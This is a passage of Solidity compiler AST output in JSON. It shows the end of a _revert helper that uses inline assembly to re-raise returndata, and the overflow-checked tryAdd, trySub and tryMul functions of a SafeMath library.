"typeName": {
"id": 275,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "3471:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 278,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "3519:12:0",
"nodeType": "VariableDeclaration",
"scope": 295,
"src": "3505:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 277,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "3505:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "3437:101:0"
},
"returnParameters": {
"id": 282,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 281,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 295,
"src": "3562:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 280,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "3562:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "3561:14:0"
},
"scope": 316,
"src": "3412:305:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 314,
"nodeType": "Block",
"src": "3808:469:0",
"statements": [
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 305,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"expression": {
"id": 302,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 297,
"src": "3886:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"id": 303,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "length",
"nodeType": "MemberAccess",
"src": "3886:17:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">",
"rightExpression": {
"hexValue": "30",
"id": 304,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3906:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "3886:21:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": {
"id": 312,
"nodeType": "Block",
"src": "4223:47:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 309,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 299,
"src": "4245:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 308,
"name": "revert",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967277,
4294967277
],
"referencedDeclaration": 4294967277,
"src": "4238:6:0",
"typeDescriptions": {
"typeIdentifier": "t_function_revert_pure$_t_string_memory_ptr_$returns$__$",
"typeString": "function (string memory) pure"
}
},
"id": 310,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4238:20:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 311,
"nodeType": "ExpressionStatement",
"src": "4238:20:0"
}
]
},
"id": 313,
"nodeType": "IfStatement",
"src": "3882:388:0",
"trueBody": {
"id": 307,
"nodeType": "Block",
"src": "3909:308:0",
"statements": [
{
"AST": {
"nodeType": "YulBlock",
"src": "4070:136:0",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "4089:40:0",
"value": {
"arguments": [
{
"name": "returndata",
"nodeType": "YulIdentifier",
"src": "4118:10:0"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "4112:5:0"
},
"nodeType": "YulFunctionCall",
"src": "4112:17:0"
},
"variables": [
{
"name": "returndata_size",
"nodeType": "YulTypedName",
"src": "4093:15:0",
"type": ""
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4158:2:0",
"type": "",
"value": "32"
},
{
"name": "returndata",
"nodeType": "YulIdentifier",
"src": "4162:10:0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4154:3:0"
},
"nodeType": "YulFunctionCall",
"src": "4154:19:0"
},
{
"name": "returndata_size",
"nodeType": "YulIdentifier",
"src": "4175:15:0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "4147:6:0"
},
"nodeType": "YulFunctionCall",
"src": "4147:44:0"
},
"nodeType": "YulExpressionStatement",
"src": "4147:44:0"
}
]
},
"documentation": "@solidity memory-safe-assembly",
"evmVersion": "london",
"externalReferences": [
{
"declaration": 297,
"isOffset": false,
"isSlot": false,
"src": "4118:10:0",
"valueSize": 1
},
{
"declaration": 297,
"isOffset": false,
"isSlot": false,
"src": "4162:10:0",
"valueSize": 1
}
],
"id": 306,
"nodeType": "InlineAssembly",
"src": "4061:145:0"
}
]
}
}
]
},
"id": 315,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "_revert",
"nameLocation": "3734:7:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 300,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 297,
"mutability": "mutable",
"name": "returndata",
"nameLocation": "3755:10:0",
"nodeType": "VariableDeclaration",
"scope": 315,
"src": "3742:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 296,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "3742:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 299,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "3781:12:0",
"nodeType": "VariableDeclaration",
"scope": 315,
"src": "3767:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 298,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "3767:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "3741:53:0"
},
"returnParameters": {
"id": 301,
"nodeType": "ParameterList",
"parameters": [],
"src": "3808:0:0"
},
"scope": 316,
"src": "3725:552:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "private"
}
],
"scope": 788,
"src": "60:4220:0",
"usedErrors": []
},
{
"abstract": false,
"baseContracts": [],
"contractDependencies": [],
"contractKind": "library",
"fullyImplemented": true,
"id": 612,
"linearizedBaseContracts": [
612
],
"name": "SafeMath",
"nameLocation": "4294:8:0",
"nodeType": "ContractDefinition",
"nodes": [
{
"body": {
"id": 346,
"nodeType": "Block",
"src": "4389:146:0",
"statements": [
{
"id": 345,
"nodeType": "UncheckedBlock",
"src": "4400:128:0",
"statements": [
{
"assignments": [
328
],
"declarations": [
{
"constant": false,
"id": 328,
"mutability": "mutable",
"name": "c",
"nameLocation": "4433:1:0",
"nodeType": "VariableDeclaration",
"scope": 345,
"src": "4425:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 327,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4425:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"id": 332,
"initialValue": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 331,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 329,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 318,
"src": "4437:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "+",
"rightExpression": {
"id": 330,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 320,
"src": "4441:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4437:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4425:17:0"
},
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 335,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 333,
"name": "c",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 328,
"src": "4461:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "<",
"rightExpression": {
"id": 334,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 318,
"src": "4465:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4461:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 340,
"nodeType": "IfStatement",
"src": "4457:28:0",
"trueBody": {
"expression": {
"components": [
{
"hexValue": "66616c7365",
"id": 336,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4476:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
{
"hexValue": "30",
"id": 337,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4483:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"id": 338,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4475:10:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_rational_0_by_1_$",
"typeString": "tuple(bool,int_const 0)"
}
},
"functionReturnParameters": 326,
"id": 339,
"nodeType": "Return",
"src": "4468:17:0"
}
},
{
"expression": {
"components": [
{
"hexValue": "74727565",
"id": 341,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4508:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
{
"id": 342,
"name": "c",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 328,
"src": "4514:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"id": 343,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4507:9:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_uint256_$",
"typeString": "tuple(bool,uint256)"
}
},
"functionReturnParameters": 326,
"id": 344,
"nodeType": "Return",
"src": "4500:16:0"
}
]
}
]
},
"id": 347,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "tryAdd",
"nameLocation": "4322:6:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 321,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 318,
"mutability": "mutable",
"name": "a",
"nameLocation": "4337:1:0",
"nodeType": "VariableDeclaration",
"scope": 347,
"src": "4329:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 317,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4329:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 320,
"mutability": "mutable",
"name": "b",
"nameLocation": "4348:1:0",
"nodeType": "VariableDeclaration",
"scope": 347,
"src": "4340:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 319,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4340:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "4328:22:0"
},
"returnParameters": {
"id": 326,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 323,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 347,
"src": "4374:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 322,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "4374:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 325,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 347,
"src": "4380:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 324,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4380:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "4373:15:0"
},
"scope": 612,
"src": "4313:222:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 373,
"nodeType": "Block",
"src": "4619:118:0",
"statements": [
{
"id": 372,
"nodeType": "UncheckedBlock",
"src": "4630:100:0",
"statements": [
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 360,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 358,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 351,
"src": "4659:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">",
"rightExpression": {
"id": 359,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 349,
"src": "4663:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4659:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 365,
"nodeType": "IfStatement",
"src": "4655:28:0",
"trueBody": {
"expression": {
"components": [
{
"hexValue": "66616c7365",
"id": 361,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4674:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
{
"hexValue": "30",
"id": 362,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4681:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"id": 363,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4673:10:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_rational_0_by_1_$",
"typeString": "tuple(bool,int_const 0)"
}
},
"functionReturnParameters": 357,
"id": 364,
"nodeType": "Return",
"src": "4666:17:0"
}
},
{
"expression": {
"components": [
{
"hexValue": "74727565",
"id": 366,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4706:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 369,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 367,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 349,
"src": "4712:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "-",
"rightExpression": {
"id": 368,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 351,
"src": "4716:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4712:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"id": 370,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4705:13:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_uint256_$",
"typeString": "tuple(bool,uint256)"
}
},
"functionReturnParameters": 357,
"id": 371,
"nodeType": "Return",
"src": "4698:20:0"
}
]
}
]
},
"id": 374,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "trySub",
"nameLocation": "4552:6:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 352,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 349,
"mutability": "mutable",
"name": "a",
"nameLocation": "4567:1:0",
"nodeType": "VariableDeclaration",
"scope": 374,
"src": "4559:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 348,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4559:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 351,
"mutability": "mutable",
"name": "b",
"nameLocation": "4578:1:0",
"nodeType": "VariableDeclaration",
"scope": 374,
"src": "4570:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 350,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4570:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "4558:22:0"
},
"returnParameters": {
"id": 357,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 354,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 374,
"src": "4604:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 353,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "4604:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 356,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 374,
"src": "4610:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 355,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4610:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "4603:15:0"
},
"scope": 612,
"src": "4543:194:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 414,
"nodeType": "Block",
"src": "4821:194:0",
"statements": [
{
"id": 413,
"nodeType": "UncheckedBlock",
"src": "4832:176:0",
"statements": [
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 387,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 385,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 376,
"src": "4861:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"hexValue": "30",
"id": 386,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4866:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "4861:6:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 392,
"nodeType": "IfStatement",
"src": "4857:28:0",
"trueBody": {
"expression": {
"components": [
{
"hexValue": "74727565",
"id": 388,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4877:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
{
"hexValue": "30",
"id": 389,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4883:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"id": 390,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4876:9:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_rational_0_by_1_$",
"typeString": "tuple(bool,int_const 0)"
}
},
"functionReturnParameters": 384,
"id": 391,
"nodeType": "Return",
"src": "4869:16:0"
}
},
{
"assignments": [
394
],
"declarations": [
{
"constant": false,
"id": 394,
"mutability": "mutable",
"name": "c",
"nameLocation": "4908:1:0",
"nodeType": "VariableDeclaration",
"scope": 413,
"src": "4900:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 393,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4900:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"id": 398,
"initialValue": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 397,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 395,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 376,
"src": "4912:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "*",
"rightExpression": {
"id": 396,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 378,
"src": "4916:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4912:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4900:17:0"
},
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 403,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 401,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 399,
"name": "c",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 394,
"src": "4936:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "/",
"rightExpression": {
"id": 400,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 376,
"src": "4940:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4936:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "!=",
"rightExpression": {
"id": 402,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 378,
"src": "4945:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "4936:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 408,
"nodeType": "IfStatement",
"src": "4932:33:0",
"trueBody": {
"expression": {
"components": [
{
"hexValue": "66616c7365",
"id": 404,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4956:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
{
"hexValue": "30",
"id": 405,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4963:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"id": 406,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4955:10:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_rational_0_by_1_$",
"typeString": "tuple(bool,int_const 0)"
}
},
"functionReturnParameters": 384,
"id": 407,
"nodeType": "Return",
"src": "4948:17:0"
}
},
{
"expression": {
"components": [
{
"hexValue": "74727565",
"id": 409,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4988:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
{
"id": 410,
"name": "c",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 394,
"src": "4994:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"id": 411,
"isConstant": false,
"isInlineArray": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "TupleExpression",
"src": "4987:9:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_uint256_$",
"typeString": "tuple(bool,uint256)"
}
},
"functionReturnParameters": 384,
"id": 412,
"nodeType": "Return",
"src": "4980:16:0"
}
]
}
]
},
"id": 415,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "tryMul",
"nameLocation": "4754:6:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 379,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 376,
"mutability": "mutable",
"name": "a",
"nameLocation": "4769:1:0",
"nodeType": "VariableDeclaration",
"scope": 415,
"src": "4761:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 375,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4761:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 378,
"mutability": "mutable",
"name": "b",
"nameLocation": "4780:1:0",
"nodeType": "VariableDeclaration",
"scope": 415,
"src": "4772:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 377,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4772:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "4760:22:0"
},
"returnParameters": {
"id": 384,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 381,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 415,
"src": "4806:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 380,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "4806:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 383,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 415,
"src": "4812:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 382,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "4812:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
